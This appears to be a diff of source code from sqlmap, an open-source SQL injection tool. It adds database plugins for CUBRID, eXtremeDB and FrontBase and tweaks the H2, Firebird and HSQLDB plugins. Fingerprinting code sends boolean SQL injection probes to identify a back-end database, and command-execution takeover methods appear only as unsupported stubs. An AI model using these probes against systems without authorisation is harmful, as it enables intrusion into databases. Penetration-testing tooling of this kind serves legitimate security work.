result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CUBRID
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("DRAND()<2")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CUBRID)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.convert import getOrds
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> from lib.core.common import Backend
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def escaper(value):
|
||||||
|
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||||
|
|
||||||
|
return Syntax._escape(expression, quote, escaper)
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import EXTREMEDB_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
from plugins.dbms.extremedb.enumeration import Enumeration
|
||||||
|
from plugins.dbms.extremedb.filesystem import Filesystem
|
||||||
|
from plugins.dbms.extremedb.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.extremedb.syntax import Syntax
|
||||||
|
from plugins.dbms.extremedb.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines eXtremeDB methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = EXTREMEDB_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.EXTREMEDB] = Syntax.escape
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
def connect(self):
|
||||||
|
errMsg = "on eXtremeDB it is not (currently) possible to establish a "
|
||||||
|
errMsg += "direct connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getBanner(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to get the banner"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def getCurrentUser(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the current user"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getCurrentDb(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to get name of the current database"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def isDba(self, user=None):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to test if current user is DBA"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getUsers(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the users"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getDbs(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchDb(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search databases"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchTable(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search tables"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchColumn(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search columns"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def search(self):
|
||||||
|
warnMsg = "on eXtremeDB search option is not available"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def readFile(self, remoteFile):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to read files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to write files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
|
from lib.core.settings import METADB_SUFFIX
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.EXTREMEDB)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.EXTREMEDB
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES):
|
||||||
|
setDbms(DBMS.EXTREMEDB)
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.EXTREMEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.EXTREMEDB
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("hashcode(NULL)>=0")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.EXTREMEDB)
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def forceDbmsEnum(self):
|
||||||
|
conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_')
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -27,12 +27,6 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
return []
|
return []
|
||||||
|
|
||||||
def searchColumn(self):
|
|
||||||
warnMsg = "on Firebird it is not possible to search columns"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return []
|
|
||||||
|
|
||||||
def getHostname(self):
|
def getHostname(self):
|
||||||
warnMsg = "on Firebird it is not possible to enumerate the hostname"
|
warnMsg = "on Firebird it is not possible to enumerate the hostname"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import FRONTBASE_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
from plugins.dbms.frontbase.enumeration import Enumeration
|
||||||
|
from plugins.dbms.frontbase.filesystem import Filesystem
|
||||||
|
from plugins.dbms.frontbase.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.frontbase.syntax import Syntax
|
||||||
|
from plugins.dbms.frontbase.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines FrontBase methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = FRONTBASE_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.FRONTBASE] = Syntax.escape
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
def connect(self):
|
||||||
|
errMsg = "on FrontBase it is not (currently) possible to establish a "
|
||||||
|
errMsg += "direct connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getBanner(self):
|
||||||
|
warnMsg = "on FrontBase it is not possible to get the banner"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on FrontBase it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on FrontBase it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on FrontBase it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def readFile(self, remoteFile):
|
||||||
|
errMsg = "on FrontBase it is not possible to read files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||||
|
errMsg = "on FrontBase it is not possible to write files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.FRONTBASE)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.FRONTBASE
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES):
|
||||||
|
setDbms(DBMS.FRONTBASE)
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.FRONTBASE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.FRONTBASE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.FRONTBASE)
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on FrontBase it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on FrontBase it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on FrontBase it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on FrontBase it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -7,10 +7,14 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import Format
|
from lib.core.common import Format
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
|
from lib.core.common import hashDBWrite
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
@@ -21,6 +25,16 @@ class Fingerprint(GenericFingerprint):
|
|||||||
GenericFingerprint.__init__(self, DBMS.H2)
|
GenericFingerprint.__init__(self, DBMS.H2)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
|
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||||
|
|
||||||
|
if fork is None:
|
||||||
|
if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"):
|
||||||
|
fork = FORK.IGNITE
|
||||||
|
else:
|
||||||
|
fork = ""
|
||||||
|
|
||||||
|
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
|
||||||
|
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
@@ -37,6 +51,8 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += DBMS.H2
|
value += DBMS.H2
|
||||||
|
if fork:
|
||||||
|
value += " (%s fork)" % fork
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
@@ -55,6 +71,9 @@ class Fingerprint(GenericFingerprint):
|
|||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
if fork:
|
||||||
|
value += "\n%sfork fingerprint: %s" % (blank, fork)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ class Connector(GenericConnector):
|
|||||||
def connect(self):
|
def connect(self):
|
||||||
self.initConnection()
|
self.initConnection()
|
||||||
try:
|
try:
|
||||||
msg = "what's the location of 'hsqldb.jar'? "
|
msg = "please enter the location of 'hsqldb.jar'? "
|
||||||
jar = readInput(msg)
|
jar = readInput(msg)
|
||||||
checkFile(jar)
|
checkFile(jar)
|
||||||
args = "-Djava.class.path=%s" % jar
|
args = "-Djava.class.path=%s" % jar
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
@@ -17,6 +18,7 @@ from lib.core.data import logger
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
